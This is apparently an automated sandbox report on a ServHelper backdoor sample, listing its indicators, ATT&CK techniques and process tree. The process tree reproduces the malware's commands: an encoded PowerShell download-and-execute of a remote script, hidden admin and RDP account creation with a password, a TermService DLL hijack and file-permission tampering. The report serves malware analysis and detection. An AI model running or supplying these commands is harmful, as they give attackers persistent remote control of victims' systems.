servhelper | 046f08e500cc9156c4af47a73744ccb060606c77d7a8beb5677aa6ff4d256211

Analysis

max time kernel
140s
max time network
116s
platform
windows7_x64
resource
win7v20210408
submitted
23-09-2021 10:58

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General

Target

f71c575754e1f5890ad8b35afd08b8be.exe
Size

5.9MB
MD5

f71c575754e1f5890ad8b35afd08b8be
SHA1

69803b96f3820fabd81c79d422a1fa2a72ccb699
SHA256

046f08e500cc9156c4af47a73744ccb060606c77d7a8beb5677aa6ff4d256211
SHA512

32f7fab593c46efe2586825aff79688e4a688735bf950b351fe3bdffc4a9dff01da0b2d4a92acf4d4bd14aac362884bd264beced9e8b82fd3111e8ef8ef31301

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	1680	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1756	icacls.exe
1512	takeown.exe
912	icacls.exe
1796	icacls.exe
1096	icacls.exe
1984	icacls.exe
576	icacls.exe
1288	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130d3-180.dat	upx
behavioral1/files/0x00050000000130d4-181.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1512	Process not Found
1512	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1796	icacls.exe
1096	icacls.exe
1984	icacls.exe
576	icacls.exe
1288	icacls.exe
1756	icacls.exe
1512	takeown.exe
912	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57f5f3ab-d7f3-40fe-a3e5-1a6c35df78d4	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_74f63159-5a13-4bbb-91e2-e37be0bd086b	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f983de21-c3bb-44e2-b6f5-0c365c3dd4ea	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fb555c4c-0ae6-4424-af79-18fb3a3aaf97	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7b9aa181-fc7a-4893-aea9-2e521d4224cb	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4d2b0610-3df9-48d8-bedf-7ffac09872ba	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2ae97fb7-f357-43a8-8be4-56f2854f17fa	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d6515b0c-8624-4148-bde3-042f1ddc60cc	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QEM78RQ6WG4KQ9CY6Q77.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dd3b6dc7-71b0-4e1b-a3a2-8de42e3f6db3	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_522a8724-33b1-4cba-ad87-054601d99678	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f4aa3bf0-8628-4d9c-a099-16dbaf8c402a	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90e9dec57ab0d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1592	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	f71c575754e1f5890ad8b35afd08b8be.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	f71c575754e1f5890ad8b35afd08b8be.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2028	powershell.exe
2028	powershell.exe
1708	powershell.exe
1708	powershell.exe
1988	powershell.exe
1988	powershell.exe
1648	powershell.exe
1648	powershell.exe
2028	powershell.exe
2028	powershell.exe
2028	powershell.exe
1680	powershell.exe
1680	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
472	Process not Found
1512	Process not Found
1512	Process not Found
1512	Process not Found
1512	Process not Found

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	980	f71c575754e1f5890ad8b35afd08b8be.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeRestorePrivilege	1796	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	332	WMIC.exe
Token: SeIncreaseQuotaPrivilege	332	WMIC.exe
Token: SeAuditPrivilege	332	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	332	WMIC.exe
Token: SeIncreaseQuotaPrivilege	332	WMIC.exe
Token: SeAuditPrivilege	332	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1888	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1888	WMIC.exe
Token: SeAuditPrivilege	1888	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1888	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1888	WMIC.exe
Token: SeAuditPrivilege	1888	WMIC.exe
Token: SeDebugPrivilege	1680	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 980 wrote to memory of 2028	980	f71c575754e1f5890ad8b35afd08b8be.exe	26
PID 980 wrote to memory of 2028	980	f71c575754e1f5890ad8b35afd08b8be.exe	26
PID 980 wrote to memory of 2028	980	f71c575754e1f5890ad8b35afd08b8be.exe	26
PID 2028 wrote to memory of 860	2028	powershell.exe	28
PID 2028 wrote to memory of 860	2028	powershell.exe	28
PID 2028 wrote to memory of 860	2028	powershell.exe	28
PID 860 wrote to memory of 576	860	csc.exe	29
PID 860 wrote to memory of 576	860	csc.exe	29
PID 860 wrote to memory of 576	860	csc.exe	29
PID 2028 wrote to memory of 1708	2028	powershell.exe	30
PID 2028 wrote to memory of 1708	2028	powershell.exe	30
PID 2028 wrote to memory of 1708	2028	powershell.exe	30
PID 2028 wrote to memory of 1988	2028	powershell.exe	32
PID 2028 wrote to memory of 1988	2028	powershell.exe	32
PID 2028 wrote to memory of 1988	2028	powershell.exe	32
PID 2028 wrote to memory of 1648	2028	powershell.exe	34
PID 2028 wrote to memory of 1648	2028	powershell.exe	34
PID 2028 wrote to memory of 1648	2028	powershell.exe	34
PID 2028 wrote to memory of 1512	2028	powershell.exe	38
PID 2028 wrote to memory of 1512	2028	powershell.exe	38
PID 2028 wrote to memory of 1512	2028	powershell.exe	38
PID 2028 wrote to memory of 912	2028	powershell.exe	39
PID 2028 wrote to memory of 912	2028	powershell.exe	39
PID 2028 wrote to memory of 912	2028	powershell.exe	39
PID 2028 wrote to memory of 1796	2028	powershell.exe	40
PID 2028 wrote to memory of 1796	2028	powershell.exe	40
PID 2028 wrote to memory of 1796	2028	powershell.exe	40
PID 2028 wrote to memory of 1096	2028	powershell.exe	41
PID 2028 wrote to memory of 1096	2028	powershell.exe	41
PID 2028 wrote to memory of 1096	2028	powershell.exe	41
PID 2028 wrote to memory of 1984	2028	powershell.exe	42
PID 2028 wrote to memory of 1984	2028	powershell.exe	42
PID 2028 wrote to memory of 1984	2028	powershell.exe	42
PID 2028 wrote to memory of 576	2028	powershell.exe	43
PID 2028 wrote to memory of 576	2028	powershell.exe	43
PID 2028 wrote to memory of 576	2028	powershell.exe	43
PID 2028 wrote to memory of 1288	2028	powershell.exe	44
PID 2028 wrote to memory of 1288	2028	powershell.exe	44
PID 2028 wrote to memory of 1288	2028	powershell.exe	44
PID 2028 wrote to memory of 1756	2028	powershell.exe	45
PID 2028 wrote to memory of 1756	2028	powershell.exe	45
PID 2028 wrote to memory of 1756	2028	powershell.exe	45
PID 2028 wrote to memory of 1392	2028	powershell.exe	46
PID 2028 wrote to memory of 1392	2028	powershell.exe	46
PID 2028 wrote to memory of 1392	2028	powershell.exe	46
PID 2028 wrote to memory of 1592	2028	powershell.exe	47
PID 2028 wrote to memory of 1592	2028	powershell.exe	47
PID 2028 wrote to memory of 1592	2028	powershell.exe	47
PID 2028 wrote to memory of 788	2028	powershell.exe	48
PID 2028 wrote to memory of 788	2028	powershell.exe	48
PID 2028 wrote to memory of 788	2028	powershell.exe	48
PID 2028 wrote to memory of 976	2028	powershell.exe	49
PID 2028 wrote to memory of 976	2028	powershell.exe	49
PID 2028 wrote to memory of 976	2028	powershell.exe	49
PID 976 wrote to memory of 1000	976	net.exe	50
PID 976 wrote to memory of 1000	976	net.exe	50
PID 976 wrote to memory of 1000	976	net.exe	50
PID 2028 wrote to memory of 904	2028	powershell.exe	51
PID 2028 wrote to memory of 904	2028	powershell.exe	51
PID 2028 wrote to memory of 904	2028	powershell.exe	51
PID 904 wrote to memory of 1888	904	cmd.exe	52
PID 904 wrote to memory of 1888	904	cmd.exe	52
PID 904 wrote to memory of 1888	904	cmd.exe	52
PID 1888 wrote to memory of 1784	1888	cmd.exe	53

C:\Users\Admin\AppData\Local\Temp\f71c575754e1f5890ad8b35afd08b8be.exe
"C:\Users\Admin\AppData\Local\Temp\f71c575754e1f5890ad8b35afd08b8be.exe"
1⤵
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ls104fpr\ls104fpr.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:860
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC61B.tmp" "c:\Users\Admin\AppData\Local\Temp\ls104fpr\CSC622CADD0974E4B0DAA56CC5C7D64399.TMP"
      4⤵
      PID:576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1648
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1512
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:912
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1796
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1096
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1984
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:576
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1288
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1756
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1392
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1592
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:788
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:976
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1000
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:904
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1888
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1784
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1872
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1772
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1136
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1376
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1232
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1764
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1388

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1736
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1700
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1016

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc moWz5s4P /add
1⤵
PID:1008
- C:\Windows\system32\net.exe
  net.exe user wgautilacc moWz5s4P /add
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc moWz5s4P /add
    3⤵
    PID:1592

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1760
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1484
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:652

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:2040
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1732
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1288

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1028
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1900
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:748

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc moWz5s4P
1⤵
PID:1624
- C:\Windows\system32\net.exe
  net.exe user wgautilacc moWz5s4P
  2⤵
  PID:1784
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc moWz5s4P
    3⤵
    PID:1648

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1000
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:332

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1736
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1888

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1712
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1680

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/980-62-0x0000000040EF2000-0x0000000040EF4000-memory.dmp

Filesize
8KB

Download
memory/980-64-0x0000000040EF6000-0x0000000040EF7000-memory.dmp

Filesize
4KB

Download
memory/980-63-0x0000000040EF4000-0x0000000040EF6000-memory.dmp

Filesize
8KB

Download
memory/980-60-0x0000000041390000-0x00000000417B0000-memory.dmp

Filesize
4.1MB

Download
memory/980-65-0x0000000040EF7000-0x0000000040EF8000-memory.dmp

Filesize
4KB

Download
memory/1648-156-0x000000001ACF4000-0x000000001ACF6000-memory.dmp

Filesize
8KB

Download
memory/1648-155-0x000000001ACF0000-0x000000001ACF2000-memory.dmp

Filesize
8KB

Download
memory/1680-237-0x000000001963A000-0x0000000019659000-memory.dmp

Filesize
124KB

Download
memory/1680-207-0x0000000019634000-0x0000000019636000-memory.dmp

Filesize
8KB

Download
memory/1680-206-0x0000000019630000-0x0000000019632000-memory.dmp

Filesize
8KB

Download
memory/1708-100-0x0000000002690000-0x0000000002691000-memory.dmp

Filesize
4KB

Download
memory/1708-98-0x000000001A9D0000-0x000000001A9D1000-memory.dmp

Filesize
4KB

Download
memory/1708-102-0x0000000001E90000-0x0000000001E91000-memory.dmp

Filesize
4KB

Download
memory/1708-107-0x000000001B920000-0x000000001B921000-memory.dmp

Filesize
4KB

Download
memory/1708-121-0x000000001AA60000-0x000000001AA61000-memory.dmp

Filesize
4KB

Download
memory/1708-120-0x0000000002780000-0x0000000002781000-memory.dmp

Filesize
4KB

Download
memory/1708-96-0x0000000002430000-0x0000000002431000-memory.dmp

Filesize
4KB

Download
memory/1708-94-0x000000001AA74000-0x000000001AA76000-memory.dmp

Filesize
8KB

Download
memory/1708-93-0x000000001AA70000-0x000000001AA72000-memory.dmp

Filesize
8KB

Download
memory/1988-135-0x0000000001FD0000-0x0000000001FD1000-memory.dmp

Filesize
4KB

Download
memory/1988-129-0x000000001AB74000-0x000000001AB76000-memory.dmp

Filesize
8KB

Download
memory/1988-128-0x000000001AB70000-0x000000001AB72000-memory.dmp

Filesize
8KB

Download
memory/1988-130-0x0000000002570000-0x0000000002571000-memory.dmp

Filesize
4KB

Download
memory/1988-134-0x00000000028D0000-0x00000000028D1000-memory.dmp

Filesize
4KB

Download
memory/1988-132-0x00000000026B0000-0x00000000026B1000-memory.dmp

Filesize
4KB

Download
memory/2028-83-0x0000000001DC0000-0x0000000001DC1000-memory.dmp

Filesize
4KB

Download
memory/2028-69-0x000000001AA90000-0x000000001AA91000-memory.dmp

Filesize
4KB

Download
memory/2028-68-0x00000000024A0000-0x00000000024A1000-memory.dmp

Filesize
4KB

Download
memory/2028-157-0x000000001C450000-0x000000001C451000-memory.dmp

Filesize
4KB

Download
memory/2028-71-0x000000001A974000-0x000000001A976000-memory.dmp

Filesize
8KB

Download
memory/2028-67-0x000007FEFBBB1000-0x000007FEFBBB3000-memory.dmp

Filesize
8KB

Download
memory/2028-70-0x000000001A970000-0x000000001A972000-memory.dmp

Filesize
8KB

Download
memory/2028-72-0x000000001A920000-0x000000001A921000-memory.dmp

Filesize
4KB

Download
memory/2028-87-0x000000001B570000-0x000000001B571000-memory.dmp

Filesize
4KB

Download
memory/2028-101-0x000000001A97A000-0x000000001A999000-memory.dmp

Filesize
124KB

Download
memory/2028-73-0x000000001A950000-0x000000001A951000-memory.dmp

Filesize
4KB

